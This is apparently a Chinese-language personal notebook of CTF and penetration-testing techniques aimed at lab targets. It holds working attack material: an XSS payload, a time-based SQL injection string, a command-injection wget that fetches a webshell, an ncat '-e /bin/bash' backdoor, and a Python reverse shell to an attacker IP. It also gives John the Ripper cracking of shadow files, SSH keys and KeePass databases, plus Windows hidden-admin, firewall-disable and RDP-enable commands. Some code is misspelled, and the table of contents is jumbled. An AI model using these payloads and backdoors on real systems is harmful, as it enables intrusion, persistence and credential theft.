一般的wordpress的404页面路径:http://ip:port/wordpress/wp-content/themes/twentyfourteen/404.php
或者:http://ip:port/wp-content/themes/twentyten/404.php
Table of Contents
1,windows下gcc使用:
2,libnum的部分 用法:
3,php审计:
漏洞:
7,nc 命令:
8,dirb命令
9,zcat命令
10,windows中创建,删除用户,修改密码,启用/关闭用户
11,cmd一些命令:
13,靶场信息探测:
14,对于探测结果分析
15,挖掘敏感信息
16,扩大战果
17,深入挖掘
18,背水一战(使用暴力破解)
29,ssi注入
SHTML文件
SSI基本语法
前提条件
30,路径遍历漏洞
31,用python建立一个临时的SimpleHTTPServer ,不用再把要执行或访问的文件放在 Apache2 的根目录下了
33,wpscan工具
35,linu中的常用解压命令:
40, 使用bash命令 制造一个反弹shell的后门
42,curl常用命令:
44,perl 常用命令:
46,python的 的 group函数
49,文件上传中的条件竞争:
50,php中的strstr()函数:
1,python中 pyshark库的部分使用方法:
2,python 中 pyc文件反编译为py文件
3,ThinkPHP5 的远程命令执行漏洞
c: gcc qwe.c -o 123 #include #include
c++ g++ wee.cpp -o 123 #include
import libnum
s="flag{pcat}"
print libnum.s2n(s) #字符转 十进制
n=0x666c61677b706361747d
print libnum.n2s(n) # 十六进制 转字符
b='01110000011000110110000101110100'
print libnum.b2s(b) # 二进制 转 字符
s='pcat'
print libnum.s2b(s) # 字符 转二进制
# s 代表 字符
# n 代表 十六进制
# b 代表 二进制
len_in_bits(n) -n的二进制表示形式的位数
randint_bits(size) -具有给定位大小的随机数
gcd(a,b,...) -所有参数的最大公约数
lcm(a,b,...) -所有参数的最小公倍数
invmod(a,n) -模逆
primes(n)-不大于@n的质数列表,慢速方法
generate_prime(size,k = 25)-生成具有@size位长度的伪素数。@k是许多测试。
generate_prime_from_string(s,size = None,k = 25)-以字符串表示形式生成一个以@s开头的伪素数
factorize(n)-因数分解@n(当前使用rho-Pollard方法)警告:因式分解的格式现在像{p1:e1,p2:e2,...}
Curve(a,b,p,g,order,cofactor,seed)-表示椭圆曲线的类。
.is_opposite(p1,p2)-检查两个点是否相反
.check(p)-检查点是否在曲线上
.check_x(x)-检查曲线上是否存在具有给定x的点
.find_points_in_range(start,end
grey_code(n)-格雷码中的数字
rev_grey_code(g)-格雷码中的数字
nCk(n,k)-组合数
1,in_arrary()函数:
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
漏洞:没有将 in_array() 函数的第三个参数设置为 true ,所以会进行弱比较,设置为ture会进行强比较,比较数据类型
由于该函数并未将第三个参数设置为 true ,这导致攻击者可以通过构造的文件名来绕过服务端的检测,例如文件名为 7shell.php 。因为PHP在使用 in_array() 函数判断时,会将 7shell.php 强制转换成数字7,而数字7在 range(1,24) 数组中,最终绕过 in_array() 函数判断,导致任意文件上传漏洞。
由于这里(上图第6行)并没有将 in_array() 函数的第三个参数设置为 true ,所以会进行弱比较,可以绕过。比如我们将 $rate 的值设置成 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#
2,htmlspecialchars 函数 和 filter_var 函数
功能 :将特殊字符转换为 HTML 实体
定义 :string htmlspecialchars ( string $string
[, int $flags
= ENT_COMPAT | ENT_HTML401 [, string$encoding
= ini_get("default_charset") [, bool $double_encode
= TRUE ]]] )
& (& 符号) =============== &
" (双引号) =============== "
' (单引号) =============== '
< (小于号) =============== <
> (大于号) =============== >
功能 :使用特定的过滤器过滤一个变量 例如: FILTER_VALIDATE_URL 过滤器来判断是否是一个合法的url,
定义 :mixed filter_var ( mixed $variable
[, int $filter
= FILTER_DEFAULT [, mixed $options
]] )
针对这两处的过滤,我们可以考虑使用 javascript伪协议 来绕过
我们使用 payload :?url=javascript://comment%250aalert(1)
,可以执行 alert 函数:
实际上,这里的 // 在JavaScript中表示单行注释,所以后面的内容均为注释,那为什么会执行 alert 函数呢?那是因为我们这里用了字符 %0a ,该字符为换行符,所以 alert 语句与注释符 // 就不在同一行,就能执行。当然,这里我们要对 % 百分号编码成 %25 ,因为程序将浏览器发来的payload:javascript://comment%250aalert(1)
先解码成: javascript://comment%0aalert(1)
存储在变量 $url 中(上图第二行代码),然后用户点击a标签链接就会触发 alert 函数。
小知识点:
filter_var()常用的几个过滤器:
FILTER_VALIDATE_URL: 把值作为 URL 来验证。
FILTER_VALIDATE_EMAIL 把值作为 e-mail 地址来验证
FILTER_VALIDATE_IP 把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围。
FILTER_SANITIZE_URL 删除所有字符,除了字母、数字以及 $-_.+!*'(),{}|\^~[]`<>#%";/?:@&=
FILTER_SANITIZE_EMAIL 删除所有字符,除了字母、数字以及 !#$%&'*+-/=?^_`{|}~@.[]
FILTER_SANITIZE_STRING 去除标签,去除或编码特殊字符。
parse_url(url)本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
/path
exec()执行给定的 command
。:危险函数
4,命令注入中的特殊符号
cmd > file 把cmd命令的输出重定向到文件file中。如果file已经存在,则清空原有文件
cmd >> file 把cmd命令的输出重定向到文件file中,如果file已经存在,则把信息加在原有文件后面。
cmd < file 使cmd命令从file读入
cmd << text 从命令行读取输入,直到一个与text相同的行结束。
cmd <> file 以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。
`(反引号)
命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。例如以下指令:
bash
echo It is now `date`
等价于:
echo It is now 一 12月 17 12:16:04 GMT 2018
在正式执行时会产生以下输出结果:
It is now 一 12月 17 12:16:04 GMT 2018
当输入参数有长度控制时,绕过方法:
注意是倒序创建, 最后 用 sh a 去执行 构造好的命令
示例:
这里构造了的命令: wget xxx.com -o shell.php 远程下载shell.php
5,了解到一种新的PHP控制输入的过滤方式, str_replace()
示例:
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
for($i=0; $i<5; $i++) //这里进行循环过滤,防止使用 双写绕过 http: htthttpp
{
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => ''
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
}
}
将 ip中的非法字符替换为空,
上面的 str_replace进行了 递归的匹配替换(递归到没有非法字符为止), 非常好用
str_replace ( mixed $search
, mixed $replace
, mixed $subject
[, int &$count
] ) : mixed
preg_replace ( mixed $pattern
, mixed $replacement
, mixed $subject
[, int $limit
= -1 [, int &$count
]] ) : mixed
两者用法类似
区别: preg_replace()函数可以用 正则表达 ,str_replace()不能
str_replace()可以用上面示例的 用数组的方式进行递归匹配,preg_replace()没有类似用法
6,linux中查看端口占用情况:
netstat命令各个参数说明如下:
-t : 指明显示TCP端口
-u : 指明显示UDP端口
-l : 仅显示监听套接字(所谓套接字就是使应用程序能够读写与收发通讯协议(protocol)与资料的程序)
-p : 显示进程标识符和程序名称,每一个套接字/端口都属于一个程序。
-n : 不进行DNS轮询,显示IP(可以加速操作)
netstat -ntulp //查看当前所有tcp和udp端口·
netstat -ntulp |grep 80 //查看所有80端口使用情况·
netstat -ntulp | grep 3306 //查看所有3306端口使用情况·
1,实现一个简易的聊天器, 单向的
windows中 是 ncat linux 中是 nc
监听端口 1234 :
nc -lvp 1234
连接目标机器:
nc ip—地址 端口号
2,设置一个后门:
创建后门的命令为:
$ ncat -l 10000 -e /bin/bash
-e
标志将一个 bash 与端口 10000 相连。客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限
$ ncat 192.168.1.100 10000
3,文件传输:(文件传输可以反向)
Server
$nc -l 1567 < file.txt
Client
$nc -n 172.31.100.7 1567 > file.txt
dirb是一个类似windows下御剑这些目录扫描工具,
dirb ip 字典路径
一般不需要指定字典,会使用默认字典,我们也自定义字典
默认字典路径
/usr/share/dirb/wordlists/comment.txt
wordlists 目录下还有好几个字典可以使用
除此之外还要一款kali自带的目录扫描工具
DirBuster
DirBuster是一个多线程java应用程序,旨在强制Web /应用程序服务器上的目录和文件名。DirBuster总共有9个不同的列表; 这使得DirBuster在查找隐藏文件和目录方面非常有效。
同样打开终端并键入Dirbuster,然后输入目标URL,如下图所示,并浏览/ usr / share / dirbuster / wordlis / directory-list-2-3-medium.txt进行暴力攻击。
zcat命令用于不真正解压缩文件,就能显示压缩包中文件的内容的场合。
-S:指定gzip格式的压缩包的后缀。当后缀不是标准压缩包后缀时使用此选项;
-c:将文件内容写到标注输出;
-d:执行解压缩操作;
-l:显示压缩包中文件的列表;
-L:显示软件许可信息;
-q:禁用警告信息;
-r:在目录上执行递归操作;
-t:测试压缩文件的完整性;
-V:显示指令的版本信息;
-l:更快的压缩速度;
-9:更高的压缩比。
本题中使用到的命令:
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack
5,john常用命令 (保存字典的目录: /usr/share/john/)
John the Ripper免费的开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES、MD4、MD5等。它支持多种不同类型的系统架构,包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS,主要目的是破解不够牢固的Unix/Linux系统密码。
1,破解shadow文件(shadow文件用于储存linux中加密后的密码)
john shadow
也可以指定 字典
john --wordlist=/usr/share/john/password.lst shadow
2, 提取ssh 私钥里面的密码:
先将文件转换为 john可以执行的文件
python /usr/share/john/ssh2john.py id_rsa > rsacrack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack
3,keepass2数据库密码
先将加密文件转为john可以执行的文件
python /usr/share/john/keeppass2john.py newdb.kdb > crack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack
4, rar 提取密码
先将加密文件转为john可以执行的文件
python /usr/share/john/rar2john.py encrypted.rar > crack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack
查看当前用户(不显示隐藏用户,可以在 我的电脑-》管理》用户和组 》用户,中查看所有用户)
net user
创建用户:(用户名前加$符号可以创建隐藏账户)(必须以管理员权限运行cmd)
net user username password /add
给新创建的用户分组:(提升为管理员)
net localgroup administrators luohao /add
删除用户:
net user username /del
修改密码:
net user administrator 123123 //将administrator用户的面改为 123123
启用/关闭用户
net user administrator /active:yes
net user administrator /active:no
查看版本: ver
查看配置: systeminfo
查看进程: tasklist
查看正在运行的服务: tasklist /svc
查看开放的所有端口: netstat -ano
查看指定服务的路径: sc qc Mysql
关闭防火墙: net stop sharedaccess
把cmd.exe复制到的temp目录下并命名为cmd.txt:copy c:\windows\temp\cookies\cmd.exe c:\windows\temp\cmd.txt
开3389端口的命令:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
12,ssh 基于TCP 22 号端口的服务
对于给定的ip地址的靶机,对其进行渗透测试,首先需要考虑靶场机器开放的服务
探测靶场开放的服务于服务的版本:
nmap -sV ip_address
探测靶场的全部信息:
nmap -A -v -T4 ip
-A:全部信息
-v: 详细显示
-T:线程
探测靶场的操作系统和版本:
nmap -O ip
对于SSH服务的22端口:
首先考虑: 1,暴力破解
2,私钥泄露(私钥有没有对应的密码,是否可以找到 认证关键字文件 ,进而确定用户名)
对于开放http服务的 80端口 或者 其他端口靶场:
首先考虑: 1,通过浏览器访问靶场,查找关键信息
2,通过 探测工具对 http 的目录进行探测,如: dirb
特别注意 大于 1024 的特殊端口
使用浏览器对靶场的http服务进行探测,对页面中展示的内容也要注意吗,尤其是联系人等信息(有可能就是ssh的用户名信息),递归访问,力争把每一个 dirb扫描到的目录页面都 查看一遍
尤其对 robots.txt文件,一些目录进行访问,挖掘具有利用价值的信息。队友开放的ssh服务的靶场,务必要注意是否可以找到ssh私钥信息(id_rsa)
特别注意 config 等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息
登录服务器后,我们需要做一下操作:
1,查看点用户的 whoami
2,id 查看当前用户的权限
3,查看根目录 寻找 flag文件
如果是root权限,那表明这个靶场已经被我们拿下
如果不是root权限,那就需要进一步提权,一般情况下,flag文件只属于root用户组用户
cat /etc/passwd 查看所有用户的列表
cat /etc/group 查看用户组
find / -user username 查看属于某用户的文件
ls -al /tmp 查看缓冲区文件目录 ,看是否有一些临时性的文件
需要特别关注的文件:
/etc/crontab 文件 通过/etc/crontab文件,设定系统定期执行的任务、要编辑,需要root权限。不同的用户都可以有不同的定时任务
挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应着靶场机器的某个文件
如果在 /etc/crontab下有某个用户的定时任务文件,但是具体的目录下没有这个 定时执行的文件,可以自行创建反弹shell,然后netcat监听获取对应用户的权限
如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是都具有读写权限
反弹shell
靶场代码:
#!/usr/bin/python
import os,subprodess,socket
s = socket.socekt(socker.AF_INET,socker.SOCK_STREAM)
s.connect("攻击机的ip","攻击器监听的端口")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])
万不得已的时候,不得不使用暴力破解的方法破解 口令
破解工具: hydra、medusa
利用cuup创建字典
git clone https://github.com/jeanphorn/common-password.git
chomd +x cupp.py
./cupp.py -i (以交互的方式创建字典)
20,查看端口占用情况:
netstat -pantu
21,给某个文件加权限
chmod 777 file.py
或者
chmod +x file.py //加可执行权限
22,banner信息:
banner 信息来表示欢迎语,其中会包含一些敏感信息,所以获取 banner 也属于信息搜集的范畴。在渗透测试中,典型的 4xx、5xx 信息泄露就属于 banner 泄露的一种。在 banner 信息中,可以获取到软件开发商、软件名称、服务类型、版本号等。而版本号有时候就会存在公开的 CVE 问题,可以直接进行利用。
nc 在建立链接后会返回相应端口的 banner,
在扫描到一些大端口后 可以尝试使用 nc 返回banner信息
nc ip port
也可以使用 nmap批量获取 banner信息
强大的 nmap 肯定也有获取 banner 的方法,只不过是通过脚本实现的,因为 banner 获取是建立在连接的基础上的,所以需要用到 sT 参数,sT 用来连接目标,其命令和结果如下:
nmap -sT 192.168.11.167 -p 1-1000 --script=banner
23, linux中的cat 命令可以用 more 代替,利用这一点可以绕过某些过滤
24,注意具有未知服务的大端口,
1,可以用 nc 查看端口的banner信息,也许banner中就能敏感信息
nc 192.168.11.167 22223
2,当22号端口 禁止登陆ssh服务的时候 ,可以尝试使用 这些大端口进行ssh登陆
ssh -p 22223 [email protected]
25, 渗透要由外而内,在外部获取足够多的信息之后,侵入内部也就是顺理成章的事,不要拿到靶场ip就只想着侵入后台,在侵入后台之前,一定要先收集外部的信息!要对每一个开放的服务进行探测,不放过一个可以利用的点
26,win 打开远程桌面窗口:运行 》mstsc
kali中:
rdesktop 172.16.70.199:3389
27,kali中竟然还自带有webshell:
保存目录: /usr/share/webshell (只需要修改ip 和端口就可以使用)
28,sqlmap中指定注入点:
1,注入点在 XFF中: (注意 XFF后面的 * 号) (在)
sqlmap -u “http://123.113.134.123” --batch --level 3 --thread 4 --headers="X-Forwarded-For:*" --dbs
2,注入cookie,referer,user-agent,
sqlmap -u "http://123.123.123.123" --cookie "uname=admin" --batch --level 3 –dbs
SSI全称是Server Side Includes,即服务器端包含,是一种基于服务器端的网页制作技术。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
基本原理就是: SSI在HTML文件中,可以通过注释行调用命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
SHTML即Server-Parsed HTML。
shtml文件(还有stm、shtm文件)就是应用了SSI技术的html文件,所以在.shtml页面返回到客户端前,页面中的SSI指令将被服务器解析。可以使用SSI指令将其它文件、图片包含在页面中,也可以将其它的CGI程序包含在页面中,如.aspx文件。在给客户端返回的页面中不会包含SSI指令。如果SSI指令不能被解析,则浏览器会将其做为普通的HTML注释处理。
IIS,Nginx和Apache都支持ssi服务,默认关闭
1、显示服务器端环境变量 <#echo>
本文档名称
现在时间:
显示IP地址:
2、将文本内容直接插入到文档中 <#include>
注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径。
3、直接执行服务器上的各种程序 <#exec>
(如CGI或其他可执行程序)